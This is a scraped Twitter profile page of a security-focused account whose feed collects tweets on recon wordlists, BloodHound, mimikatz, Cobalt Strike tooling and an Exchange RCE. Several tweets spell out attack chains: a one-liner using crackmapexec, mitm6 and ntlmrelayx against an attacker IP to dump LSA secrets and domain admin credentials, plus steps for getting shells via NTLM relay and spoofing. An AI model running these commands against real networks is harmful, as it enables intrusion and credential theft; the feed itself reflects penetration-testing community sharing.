Your Domain Admin @yourDomainAdmin

New York, NY Joined September 2012

Tweets

241
Followers

152
Following

496
Likes

2K

Your Domain Admin @yourDomainAdmin

3 years ago

Bloomberg is looking for product security engineers, appsec engineers, security architects. VISA sponsorship. DM if interested.

0 0 3 0 0

zaкovsкa @sanjazakovska

5 years ago

Devs watching QA test the product

2K 58K 279K 0 10K

Download Video

Good wordlists are so important when discovering content on an asset. At @assetnote, we've built a wordlists site that updates itself on a monthly basis. For added value, we've included some of our best wordlists that we've manually collected too. wordlists.assetnote.io

30 435 1K 0 352

Luke Stephens (hakluke) @hakluke

5 years ago

I don't think that most people use Amass effectively, or understand how powerful it is. Here's how I personally use it. medium.com/@hakluke/haklu…

24 520 1K 0 419

JS0N Haddix @Jhaddix

5 years ago

Here are the slides for The Bug Hunter's Methodology v4 Recon edition. Enjoy! drive.google.com/file/d/1aG_qqR…

38 655 2K 0 380

Download Image

Riccardo @dottor_morte

5 years ago

Find all the users with the same name that belong to different domains: MATCH (u:User),(b:User) WHERE split(u.name, '@')[0] = split(b.name,'@')[0] AND u.domain <> b.domain AND toint(split(u.objectid, '-')[7]) > 1000 RETURN u.name

2 16 58 0 4

📔 Michael Grafnetter @MGrafnetter

6 years ago

#ActiveDirectory cross-domain and cross-forest duplicate password discovery and offline password hash comparison against HaveIBeenPwned is now possible with #DSInternals 4.2. github.com/MichaelGrafnet… Thanks @alexseigler.

0 38 84 0 13

Download Image

Florian Hansemann @CyberWarship

6 years ago

CVE-2020-0688: REMOTE CODE EXECUTION ON MICROSOFT EXCHANGE SERVER THROUGH FIXED CRYPTOGRAPHIC KEYS - RCE with system privileges on all exchange server 😱 #infosec #pentest #redteam thezdi.com/blog/2020/2/24…

2 182 346 0 41

Download Gif

Andy Robbins @_wald0

6 years ago

#BloodHound 3.0 is here! BloodHound: bit.ly/GetBloodHound Blog: bit.ly/3bu3chl Webinar deck: bit.ly/3837gTx Webinar recording coming soon #BloodHound 3.0 shirt: (all profits go to @MDAorg) customink.com/fundraising/th…

20 380 675 0 57

Download Image

Michael Eder @[email protected] @michael_eder_

6 years ago

Getting shells with network-access only in <15 minutes: 1. Generate smb relay list with crackmapexec 2. Set up ntlmrelayx with smb2support and -socks 3. Fire up responder + bettercap (arp,dns+dhcpv6 spoofing) 4. ntlmrelayx sessions can be used with atexec and smbexec 5. Related:

2 5 22 0 7

Download Gif

Binni Shah @binitamshah

6 years ago

Regex cheatsheet for the haters : github.com/geongeorge/i-h… cc @geongeorgek

5 254 631 0 118

Download Image

Andy Robbins @_wald0

6 years ago

Join me and @CptJesus on Tuesday, February 11th as we unveil #BloodHound 3.0! We will demo new attack primitives, performance improvements, and changes in the GUI. Register for the webinar here (recording available afterwards): specterops.zoom.us/webinar/regist…

6 143 340 0 24

Download Image

Cn33liz @Cneelis

6 years ago

New @OutflankNL tool coming soon... Zipper, a CobaltStrike tool written in C which allows you to compress files and folders from local and UNC paths. Useful for RedTeams when large files/folders need to be exfiltrated.

5 88 281 0 27

Download Image

Cn33liz @Cneelis

6 years ago

Spray-AD, a new @OutflankNL Kerberos password spraying tool for Cobalt Strike that might come in handy when assessing Active Directory environments for weak passwords (generates event IDs 4771 instead of 4625). github.com/outflanknl/Spr…

2 236 444 0 63

Vincent Yiu @vysecurity

6 years ago

Sharphound: "MATCH (c:Computer {unconstraineddelegation:true}) return c". Find all those boxes and use them for Print Spooler fun!

0 15 46 0 4

Paul Seekamp @nullenc0de

6 years ago

#EASY cme smb $hosts --gen-relay-list relay.txt mitm6 -i eth0 -d $domain ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt extract "Admin" hash cme smb $hosts -u Administrator -H $hash -d LOCALHOST --lsa cp /root/.cme/logs/*.secrets |sort -u extract DA cred

9 123 387 0 83

🥝🏳️‍🌈 Benjamin Delpy @gentilkiwi

6 years ago

I just pushed a new #mimikatz update, with more DPAPI & Crypto stuff inside > github.com/gentilkiwi/mim… 'cause you know, who don't love moaaaar credentials?

5 215 469 0 20

Download Image

Ange @angealbertini

6 years ago

Imcat: shows images in your terminal directly with ANSI colors, resizing to the width. Super simple, super useful. github.com/stolk/imcat

9 85 314 0 38

Download Image

b33f | 🇺🇦✊ @FuzzySec

6 years ago

I wrote up a quick POC, RemoteViewing, to demo RDP credential theft (adapted from @0x09AL post => mdsec.co.uk/2019/11/rdpthi…) using EasyHook and Donut ☠️🖥️. More details on GitHub => github.com/FuzzySecurity/…